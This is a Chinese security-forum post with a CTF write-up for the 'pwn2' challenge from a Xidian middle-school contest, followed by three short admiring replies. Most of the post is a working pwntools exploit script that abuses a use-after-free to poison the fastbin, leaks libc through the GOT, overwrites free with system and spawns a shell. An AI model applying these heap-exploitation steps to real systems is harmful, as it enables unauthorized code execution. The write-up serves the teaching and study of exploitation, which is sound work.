首页
社区
课程
招聘
[原创]西电中学生比赛pwn2
2018-6-15 03:14 5108

[原创]西电中学生比赛pwn2

2018-6-15 03:14
5108

比赛的时候没有做出来,时间不够(好像也没其它人做出来qwq
题目给出的hints是unlink,实际上用不到这个技术。
我用的use after free 实现的。

 

主要思路是:利用悬指针产生use after use漏洞。
申请第一条消息。
申请第二条消息。
保存第一条消息到悬指针区域。(set_top_msg)
释放第一条消息。
修改悬指针指向的数据,即可改动已经释放的chunk
fastbin:
chunk1 -> msg2 -> fakechunk -> 0
重新申请两次消息即可获得msg2,从而控制msg2中的数据指针域。

 

为了绕过一些坑,保证堆不出错,一定要构造一个fakechunk,大小和对应bin相同,fd指针为0即可。

 

msg2中的指针域可控后,先泄露free的地址,再修改got@free =》 system。

 

chunk1 可以存/bin/sh
free chunk1 即可获得shell

 

exp如下

from pwn import *

p = process('./pwn2_unlink')
elf = ELF('./pwn2_unlink')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def wait():
    p.recvuntil('choice: ')


def add_msg(size, msg):
    wait()
    p.sendline('1')
    p.recvuntil('size: ')
    p.sendline(str(size))
    p.recvuntil('content:')
    p.sendline(msg)


def show_all_msg():
    wait()
    s = ''
    p.sendline('2')
    s += p.recvline()
    ret = p.recvline() #2
    s += ret
    ret = ret.strip()
    s += p.recvuntil('---')
    addr = (u64(ret.split('] ')[1].ljust(8,'\x00')))
    print s
    return  addr

def delete_msg(idx):
    wait()
    p.sendline('3')
    p.recvuntil('message: ')
    p.sendline(str(idx))
    #p.recvuntil('success.')

def set_top_msg(idx):
    wait()
    p.sendline('4')
    p.recvuntil('message: ')
    p.sendline(str(idx))
    p.recvuntil('success.')

def show_top_msg():
    wait()
    p.sendline('5')
    ret = p.recv()
    print ret
    return ret

def delete_top_msg():
    wait()
    p.sendline('6')

def change_top_msg(new_conten):
    wait()
    p.sendline('7')
    p.sendline(new_conten)
    #p.recvuntil('success.')

#exp

#pass fast bin check.
fake_chunk = ''
fake_chunk += p64(0)
fake_chunk += p64(0x21)
fake_chunk += p64(0)

add_msg(0x18,'A') # 1
add_msg(0x21,fake_chunk) # 2
add_msg(0x18,'CCCC') #3
add_msg(0x18,'DDDD') #4
set_top_msg(1) # copy chunk1's pointer to top msg
delete_msg(1)  #free chunk1

#gdb.attach(p)
# use after freee.e
#set chunk1's Fd to msg2
msg2_addr = 0x6020E0 + 0x8 * 3
change_top_msg(p64(msg2_addr))
#gdb.attach(p)
add_msg(0x18,'/bin/sh') #1
add_msg(0x18,p64(elf.got['free'])) #3
free = show_all_msg() #3
print 'free:',hex(free)
image_base = free - libc.symbols['free']
system = image_base + libc.symbols['system']

set_top_msg(2)

delete_msg(4)
change_top_msg(p64(system))

delete_msg(1)
p.interactive()
p.sendline('8')

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (3)
雪    币: 5676
活跃值: (1303)
能力值: ( LV17,RANK:1185 )
在线值:
发帖
回帖
粉丝
holing 15 2018-6-15 05:47
2
0
现在中学生比赛都这么可怕了的吗.jpg
雪    币: 2719
活跃值: (1507)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
Vn小帆 2018-6-15 09:30
3
0
中学生都你们研究这个了?    还是老了
雪    币: 360
活跃值: (549)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
wdone 2018-6-15 10:41
4
0
中学生都这么厉害了-  -  。。。。
游客
登录 | 注册 方可回帖
返回